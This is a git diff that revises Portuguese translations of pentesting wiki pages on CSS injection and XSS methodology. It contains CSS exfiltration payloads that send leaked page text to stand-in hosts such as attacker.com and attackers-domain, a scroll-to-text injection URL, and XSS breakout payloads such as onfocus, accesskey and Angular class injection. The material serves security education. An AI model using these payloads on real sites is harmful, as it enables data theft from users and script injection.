+Outras maneiras de acessar partes do DOM com **CSS selectors**:
 
-- **`.class-to-search:nth-child(2)`**: Isso irá procurar o segundo item com a classe "class-to-search" no DOM.
-- **`:empty`** selector: Used for example in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
+- **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
+- **`:empty`** selector: Usado, por exemplo, em [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -148,9 +148,9 @@ background-image: url("YOUR_SERVER_URL?1");
 }
 ```
 
-### Error based XS-Search
+### XS-Search baseado em erro
 
-**Referência:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
 A intenção geral é **usar uma fonte customizada de um endpoint controlado** e garantir que **o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (`favicon.ico`) não puder ser carregado**.
 ```html
@@ -174,49 +174,49 @@ font-family: "poc";
 </body>
 </html>
 ```
-1. **Uso de Fonte Personalizada**:
+1. **Uso de Fonte Customizada**:
 
-- Uma fonte personalizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
-- A fonte é chamada `poc` e é buscada de um endpoint externo (`http://attacker.com/?leak`).
-- A propriedade `unicode-range` é definida como `U+0041`, direcionando o caractere Unicode específico 'A'.
+- Uma fonte customizada é definida usando a regra `@font-face` dentro de uma tag `<style>` na seção `<head>`.
+- A fonte é chamada `poc` e é obtida de um endpoint externo (`http://attacker.com/?leak`).
+- A propriedade `unicode-range` está definida como `U+0041`, direcionando o caractere Unicode específico 'A'.
 
-2. **Elemento <object> com Texto de Fallback**:
-- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Este elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
-- O `font-family` deste elemento é definido como `'poc'`, conforme definido na seção `<style>`.
-- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de fallback (a letra 'A') dentro da tag `<object>` será exibido.
-- O conteúdo de fallback ('A') será renderizado usando a fonte personalizada `poc` se o recurso externo não puder ser carregado.
+2. **Elemento `<object>` com Texto de Reserva**:
+- Um elemento `<object>` com `id="poc0"` é criado na seção `<body>`. Esse elemento tenta carregar um recurso de `http://192.168.0.1/favicon.ico`.
+- O `font-family` desse elemento é definido como `'poc'`, conforme definido na seção `<style>`.
+- Se o recurso (`favicon.ico`) falhar ao carregar, o conteúdo de fallback (a letra 'A') dentro da tag `<object>` é exibido.
+- O conteúdo de fallback ('A') será renderizado usando a fonte customizada `poc` se o recurso externo não puder ser carregado.
 
 ### Estilizando o Scroll-to-Text Fragment
 
-A pseudo-classe **`:target`** é usada para selecionar um elemento direcionado por um **fragmento de URL**, conforme especificado em [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente alvo do fragmento.
+A pseudo-classe **`:target`** é usada para selecionar um elemento alvo de um **fragmento de URL**, conforme especificado na [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). É crucial entender que `::target-text` não corresponde a nenhum elemento a menos que o texto seja explicitamente alvo do fragmento.
 
-Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text**, permitindo que confirmem a presença de texto específico em uma página da web carregando um recurso do seu servidor através de HTML injection. O método envolve injetar uma regra CSS como esta:
+Uma preocupação de segurança surge quando atacantes exploram o recurso **Scroll-to-text** fragment, permitindo que confirmem a presença de texto específico em uma página ao carregar um recurso do seu servidor via HTML injection. O método envolve injetar uma regra CSS como esta:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-Nesses cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada por meio de uma URL especialmente construída que incorpora o CSS injetado juntamente com um Scroll-to-text fragment:
+Em tais cenários, se o texto "Administrator" estiver presente na página, o recurso `target.png` é solicitado ao servidor, indicando a presença do texto. Uma instância desse ataque pode ser executada através de uma URL especialmente elaborada que incorpora o injected CSS juntamente com um Scroll-to-text fragment:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Aqui, o ataque manipula injeção HTML para transmitir o código CSS, visando o texto específico "Administrator" através do Scroll-to-text fragment (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
+Aqui, o ataque manipula HTML injection para transmitir o código CSS, visando o texto específico "Administrator" através do Scroll-to-text fragment (`#:~:text=Administrator`). Se o texto for encontrado, o recurso indicado é carregado, sinalizando inadvertidamente sua presença ao atacante.
 
-Para mitigação, devem ser observados os seguintes pontos:
+Para mitigação, os seguintes pontos devem ser observados:
 
-1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) é projetado para corresponder apenas palavras ou frases, limitando assim sua capacidade de leakar segredos arbitrários ou tokens.
-2. **Restriction to Top-level Browsing Contexts**: STTF opera exclusivamente em top-level browsing contexts e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível ao usuário.
-3. **Necessity of User Activation**: STTF requer um user-activation gesture para operar, o que significa que explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de que ataques sejam automatizados sem interação do usuário. Ainda assim, o autor do blog aponta condições específicas e bypasses (por exemplo, social engineering, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) foi projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de leak de segredos arbitrários ou tokens.
+2. **Restriction to Top-level Browsing Contexts**: STTF opera exclusivamente em top-level browsing contexts e não funciona dentro de iframes, tornando qualquer exploitation attempt mais perceptível para o usuário.
+3. **Necessity of User Activation**: STTF requer um gesto de user-activation para operar, o que significa que exploitations são viáveis apenas através de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. Entretanto, o autor do blog post aponta condições e bypasses específicos (por exemplo, social engineering, interação com browser extensions prevalentes) que podem facilitar a automação do ataque.
 
-Estar ciente desses mecanismos e de potenciais vulnerabilidades é fundamental para manter a segurança web e proteger-se contra tais táticas exploratórias.
+A conscientização sobre esses mecanismos e potenciais vulnerabilidades é fundamental para manter a segurança web e proteger contra tais táticas de exploração.
 
 For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Você pode conferir um [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Você pode especificar **fontes externas para valores unicode específicos** que só serão **carregadas se esses valores unicode estiverem presentes** na página. Por exemplo:
+Você pode especificar **fontes externas para valores unicode específicos** que só serão **obtidas se esses valores unicode estiverem presentes** na página. For example:
 ```html
 <style>
 @font-face {
@@ -246,21 +246,21 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
 
 ### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Referência:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-A técnica descrita envolve extrair texto de um nó explorando font ligatures e monitorando mudanças na largura. O processo envolve vários passos:
+A técnica descrita envolve extrair texto de um nó explorando font ligatures e monitorando mudanças na largura. O processo envolve várias etapas:
 
-1. **Creation of Custom Fonts**:
+1. **Criação de fontes customizadas**:
 
-- SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
-- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
-- These fonts are then converted to woff format using fontforge.
+- Fonts SVG são criadas com glyphs que possuem o atributo `horiz-adv-x`, que define uma largura grande para um glyph que representa uma sequência de dois caracteres.
+- Exemplo de glyph SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, onde "XY" denota uma sequência de dois caracteres.
+- Essas fontes são então convertidas para o formato woff usando fontforge.
 
-2. **Detection of Width Changes**:
+2. **Detecção de mudanças de largura**:
 
-- CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
-- The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
-- The CSS involved:
+- Usa-se CSS para garantir que o texto não quebre linha (`white-space: nowrap`) e para customizar o estilo da scrollbar.
+- O aparecimento de uma scrollbar horizontal, estilizada de forma distinta, funciona como um indicador (oracle) de que uma ligature específica, e portanto uma sequência de caracteres específica, está presente no texto.
+- O CSS envolvido:
 ```css
 body {
 white-space: nowrap;
@@ -275,28 +275,28 @@ background: url(http://attacker.com/?leak);
 
 3. **Exploit Process**:
 
-- **Step 1**: Fonts are created for pairs of characters with substantial width.
-- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
-- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
-- **Step 4**: Detection of the three-character ligature is carried out.
-- **Step 5**: The process repeats, progressively revealing the entire text.
+- **Passo 1**: São criadas fontes para pares de caracteres com largura substancial.
+- **Passo 2**: É usada uma artimanha baseada em scrollbar para detectar quando o glyph de grande largura (ligature para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
+- **Passo 3**: Ao detectar uma ligature, novos glyphs representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
+- **Passo 4**: É feita a detecção da ligature de três caracteres.
+- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
 
-4. **Optimization**:
-- The current initialization method using `<meta refresh=...` is not optimal.
-- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
+4. **Otimização**:
+- O método de inicialização atual usando `<meta refresh=...` não é ótimo.
+- Uma abordagem mais eficiente poderia envolver o truque de CSS `@import`, melhorando o desempenho do exploit.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Referência:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
+Este truque foi publicado neste [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). O charset usado em um nó de texto pode ser leaked **usando as fontes padrão** instaladas no navegador: nenhuma fonte externa -ou custom- é necessária.
 
-O conceito gira em torno de utilizar uma animação para expandir incrementalmente a largura de uma `div`, permitindo que um caractere por vez transite da parte 'suffix' do texto para a parte 'prefix'. Esse processo efetivamente divide o texto em duas seções:
+O conceito gira em torno de usar uma animação para expandir incrementalmente a largura de um `div`, permitindo que um caractere por vez transicione da parte 'suffix' do texto para a parte 'prefix'. Esse processo efetivamente divide o texto em duas seções:
 
 1. Prefix: a linha inicial.
-2. Suffix: as linhas subsequentes.
+2. Suffix: a(s) linha(s) subsequente(s).
 
-As etapas de transição dos caracteres apareceriam da seguinte forma:
+Os estágios de transição dos caracteres apareceriam da seguinte forma:
 
 **C**\
 ADB
@@ -309,15 +309,15 @@ B
 
 **CADB**
 
-Durante essa transição, o **unicode-range trick** é empregado para identificar cada novo caractere conforme ele entra no prefix. Isso é conseguido trocando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, acionando consequentemente uma scrollbar vertical. O aparecimento dessa scrollbar revela indiretamente a presença de um novo caractere no prefix.
+Durante essa transição, o **unicode-range trick** é empregado para identificar cada novo caractere à medida que ele se junta ao prefix. Isso é conseguido trocando a fonte para Comic Sans, que é notavelmente mais alta que a fonte padrão, consequentemente acionando uma scrollbar vertical. O aparecimento dessa scrollbar revela indiretamente a presença de um novo caractere no prefix.
 
-Embora este método permita a detecção de caracteres únicos conforme aparecem, ele não especifica qual caractere está repetido, apenas que uma repetição ocorreu.
+Embora esse método permita detectar caracteres únicos conforme eles aparecem, ele não especifica qual caractere é repetido, apenas que ocorreu uma repetição.
 
 > [!TIP]
-> Basicamente, o **unicode-range é usado para detectar um caractere**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
-> Quando o **caractere** é **encontrado**, ele recebe a fonte pré-instalada **Comic Sans**, que o torna **maior** e aciona uma scrollbar que vai **leak o caractere encontrado**.
+> Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outro caminho.\
+> Quando o **char** é **encontrado**, ele recebe a fonte pré-instalada **Comic Sans**, que **torna** o char **maior** e **aciona uma scrollbar**, que irá **leak o char encontrado**.
 
-Check the code extracted from the PoC:
+Confira o código extraído do PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
 @font-face {
@@ -742,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset com uma fonte padrão ao esconder elementos (não requer recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Reference:** Isto é mencionado como [uma solução malsucedida neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Este caso é muito semelhante ao anterior, porém, neste caso o objetivo de fazer **caracteres maiores que outros para esconder algo** é, por exemplo, ocultar um botão para que não seja pressionado pelo bot ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto.
+Este caso é muito semelhante ao anterior; no entanto, aqui o objetivo de **fazer caracteres específicos maiores que outros para esconder algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, podemos medir a ação (ou a falta dela) e saber se um caractere específico está presente no texto.
 
-### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset por temporização de cache (não requer recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Reference:** Isto é mencionado como [uma solução malsucedida neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-Neste caso, poderíamos tentar leak se um char está no texto carregando uma fonte falsa da mesma origem:
+Neste caso, poderíamos tentar leak se um caractere está no texto carregando uma fonte falsa da mesma origem:
 ```css
 @font-face {
 font-family: "A1";
@@ -760,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não seja carregada com sucesso, o **navegador deve armazená-la em cache**, e mesmo se não houver cache, existe o mecanismo **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
+Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.min.css?q=1`**. Embora não carregue com sucesso, o **navegador deve armazená‑la em cache**, e mesmo que não haja cache, existe o mecanismo **304 not modified**, então a **resposta deve ser mais rápida** do que outras coisas.
 
-No entanto, se a diferença de tempo entre a resposta em cache e a sem cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente cuidadoso.
+No entanto, se a diferença de tempo entre a resposta em cache e a não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: Porém, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é bem pensado.
 
-### Text node exfiltration (III): leaking the charset por medição do tempo de carregamento de centenas de "fontes" locais (não requerendo recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Referência:** Isso é mencionado como [uma solução malsucedida neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
 
-In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
+Nesse caso você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando ocorrer uma correspondência. Assim você pode **medir o tempo** que isso leva e descobrir se um caractere aparece ou não com algo como:
 ```css
 @font-face {
 font-family: "A1";
@@ -783,7 +783,7 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deverá ser aproximadamente 30 segundos. Contudo, se houver correspondência da fonte, múltiplas requisições serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Assim, o tempo de resposta pode ser usado como um indicador para determinar se há correspondência da fonte.
+Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deverá ser de aproximadamente 30 segundos. Contudo, se houver correspondência de fonte, serão feitas várias requisições para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Assim, o tempo de resposta pode ser usado como indicador para determinar se há correspondência de fonte.
 
 ## Referências
 

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -6,63 +6,63 @@
 
 1. Verifique se **qualquer valor que você controla** (_parameters_, _path_, _headers_?, _cookies_?) está sendo **refletido** no HTML ou **usado** por código **JS**.
 2. **Encontre o contexto** onde ele é refletido/usado.
-3. Se for **refletido**
-1. Verifique **quais símbolos você pode usar** e dependendo disso, prepare o payload:
-1. Em **raw HTML**:
+3. Se **refletido**
+1. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
+1. Em **HTML bruto**:
 1. Você consegue criar novas tags HTML?
-2. Você pode usar eventos ou atributos que suportem o protocolo `javascript:`?
-3. Você consegue contornar proteções?
+2. Você pode usar events ou atributos que suportem o protocolo `javascript:`?
+3. Você consegue bypassar proteções?
 4. O conteúdo HTML está sendo interpretado por algum engine JS client side (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de um [**Client Side Template Injection**](../client-side-template-injection-csti.md).
-5. Se você não consegue criar tags HTML que executem código JS, poderia abusar de um [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
+5. Se você não consegue criar tags HTML que executem código JS, você poderia abusar de um [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Dentro de uma **tag HTML**:
-1. Você consegue escapar para o contexto raw HTML?
-2. Você consegue criar novos events/attributes para executar código JS?
-3. O atributo em que você está preso suporta execução JS?
-4. Você consegue contornar proteções?
-3. Dentro de **código JavaScript**:
-1. Você consegue escapar a tag `<script>`?
-2. Você consegue escapar a string e executar outro código JS?
-3. Seu input está em template literals ``?
-4. Você consegue contornar proteções?
-4. Função Javascript sendo executada
-1. Você pode indicar o nome da função a executar. ex.: `?callback=alert(1)`
-4. Se for **usado**:
+1. Você consegue sair para o contexto HTML bruto?
+2. Você consegue criar novos events/atributos para executar código JS?
+3. O atributo onde você está preso suporta execução de JS?
+4. Você consegue bypassar proteções?
+3. Dentro do **código JavaScript**:
+1. Você consegue escapar da tag `<script>`?
+2. Você consegue escapar da string e executar outro código JS?
+3. Seus inputs estão em template literals \`\`?
+4. Você consegue bypassar proteções?
+4. Função Javascript sendo **executada**
+1. Você pode indicar o nome da função a executar. por exemplo: `?callback=alert(1)`
+4. Se **usado**:
 1. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink.**
 
-Ao trabalhar em um XSS complexo pode ser interessante conhecer:
+When working on a complex XSS you might find interesting to know about:
 
 
 {{#ref}}
 debugging-client-side-js.md
 {{#endref}}
 
-## Valores refletidos
+## Reflected values
 
-Para explorar um XSS com sucesso a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página web.
+Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um **valor controlado por você que está sendo refletido** na página web.
 
-- **Refletido intermediariamente**: Se você descobrir que o valor de um parameter ou até do path está sendo refletido na página web você poderia explorar um **Reflected XSS**.
-- **Armazenado e refletido**: Se você descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que acessar uma página você poderia explorar um **Stored XSS**.
-- **Acessado via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS você poderia explorar um **DOM XSS**.
+- **Intermediately reflected**: Se você descobrir que o valor de um parâmetro ou mesmo do path está sendo refletido na página web, você poderia explorar um **Reflected XSS**.
+- **Stored and reflected**: Se você descobrir que um valor controlado por você é salvo no servidor e é refletido toda vez que você acessa uma página, você poderia explorar um **Stored XSS**.
+- **Accessed via JS**: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um **DOM XSS**.
 
-## Contextos
+## Contexts
 
-Ao tentar explorar um XSS a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de maneiras diferentes.
+Ao tentar explorar um XSS, a primeira coisa que você precisa saber é **onde seu input está sendo refletido**. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.
 
 ### HTML bruto
 
-Se seu input é **refletido no HTML bruto** da página você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... estes são apenas alguns das muitas possíveis tags HTML que você poderia usar.\
-Além disso, tenha em mente [Client Side Template Injection](../client-side-template-injection-csti.md).
+Se seu input é **refletido no HTML bruto** da página, você precisará abusar de alguma **tag HTML** para executar código JS: `<img , <iframe , <svg , <script` ... estes são apenas alguns das muitas tags HTML possíveis que você pode usar.\
+Além disso, lembre-se de [Client Side Template Injection](../client-side-template-injection-csti.md).
 
-### Dentro do atributo de tags HTML
+### Dentro do atributo de uma tag HTML
 
 Se seu input é refletido dentro do valor do atributo de uma tag você pode tentar:
 
-1. **Escapar do atributo e da tag** (então você estará no raw HTML) e criar nova tag HTML para abusar: `"><img [...]`
-2. Se você **consegue escapar do atributo mas não da tag** (`>` está codificado ou deletado), dependendo da tag você pode **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
-3. Se você **não consegue escapar do atributo** (`"` está sendo codificado ou deletado), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você será capaz de abusá-lo. Por **exemplo**, se você controla um event como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
-4. Se seu input é refletido dentro de "tags não exploráveis" você pode tentar o truque do **`accesskey`** para abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Escapar do atributo e da tag (então você estará no HTML bruto) e criar nova tag HTML para abusar: `"><img [...]`
+2. Se você **consegue escapar do atributo mas não da tag** (`>` está codificado ou deletado), dependendo da tag você poderia **criar um evento** que execute código JS: `" autofocus onfocus=alert(1) x="`
+3. Se você **não consegue escapar do atributo** (`"` está sendo codificado ou deletado), então dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um event como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado. Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+4. Se seu input é refletido dentro de "tags não exploráveis" você pode tentar o truque do `accesskey` para abusar da vuln (você precisará de algum tipo de engenharia social para explorar isso): **`" accesskey="x" onclick="alert(1)" x="`**
 
-Exemplo estranho do Angular executando XSS se você controlar um nome de classe:
+Weird example of Angular executing XSS if you controls a class name:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -70,41 +70,41 @@ Exemplo estranho do Angular executando XSS se você controlar um nome de classe:
 ```
 ### Dentro do código JavaScript
 
-Neste caso sua entrada é refletida entre **`<script> [...] </script>`** tags de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
+Nesse caso sua entrada é refletida entre as tags **`<script> [...] </script>`** de uma página HTML, dentro de um arquivo `.js` ou dentro de um atributo usando o protocolo **`javascript:`**:
 
-- Se for refletido entre **`<script> [...] </script>`** tags, mesmo que sua entrada esteja dentro de quaisquer aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador primeiro irá parsear as tags HTML** e depois o conteúdo, portanto, ele não perceberá que sua tag injetada `</script>` está dentro do código HTML.
-- Se for refletido **dentro de uma string JS** e o truque anterior não estiver funcionando, você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver qualquer erro, ele não será executado:
+- Se refletida entre **`<script> [...] </script>`** tags, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar `</script>` e escapar desse contexto. Isso funciona porque o **navegador irá primeiro parsear as tags HTML** e depois o conteúdo, portanto, ele não notará que sua tag injetada `</script>` está dentro do código HTML.
+- Se refletida **dentro de uma string JS** e o truque anterior não estiver funcionando você precisará **sair** da string, **executar** seu código e **reconstruir** o código JS (se houver qualquer erro, ele não será executado:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Se for refletido dentro de template literals você pode **embed JS expressions** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** works to write **valid javascript code**:
+- Se refletida dentro de template literals você pode **incorporar expressões JS** usando a sintaxe `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
+- **A codificação Unicode** funciona para escrever **código JavaScript válido**:
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-#### Javascript Hoisting
+#### Hoisting em Javascript
 
-Javascript Hoisting refere-se à oportunidade de **declarar funções, variáveis ou classes depois de serem usadas, permitindo que você abuse cenários em que um XSS esteja usando variáveis ou funções não declaradas.**\
-**Check the following page for more info:**
+Hoisting em Javascript refere-se à oportunidade de **declarar functions, variables ou classes depois de serem usadas, permitindo abusar de cenários onde uma XSS está usando variáveis ou funções não declaradas.**\
+**Consulte a página seguinte para mais info:**
 
 
 {{#ref}}
 js-hoisting.md
 {{#endref}}
 
-### Javascript Function
+### Função Javascript
 
-Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
+Várias páginas web têm endpoints que **aceitam como parâmetro o nome da função a ser executada**. Um exemplo comum encontrado na prática é algo como: `?callback=callbackFunc`.
 
-Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está sendo executado é **modificar o valor do parâmetro** (por exemplo para 'Vulnerable') e procurar no console por erros como:
+Uma boa forma de verificar se algo fornecido diretamente pelo usuário está tentando ser executado é **modificar o valor do parâmetro** (por exemplo para 'Vulnerable') e observar no console por erros como:
 
 ![](<../../images/image (711).png>)
 
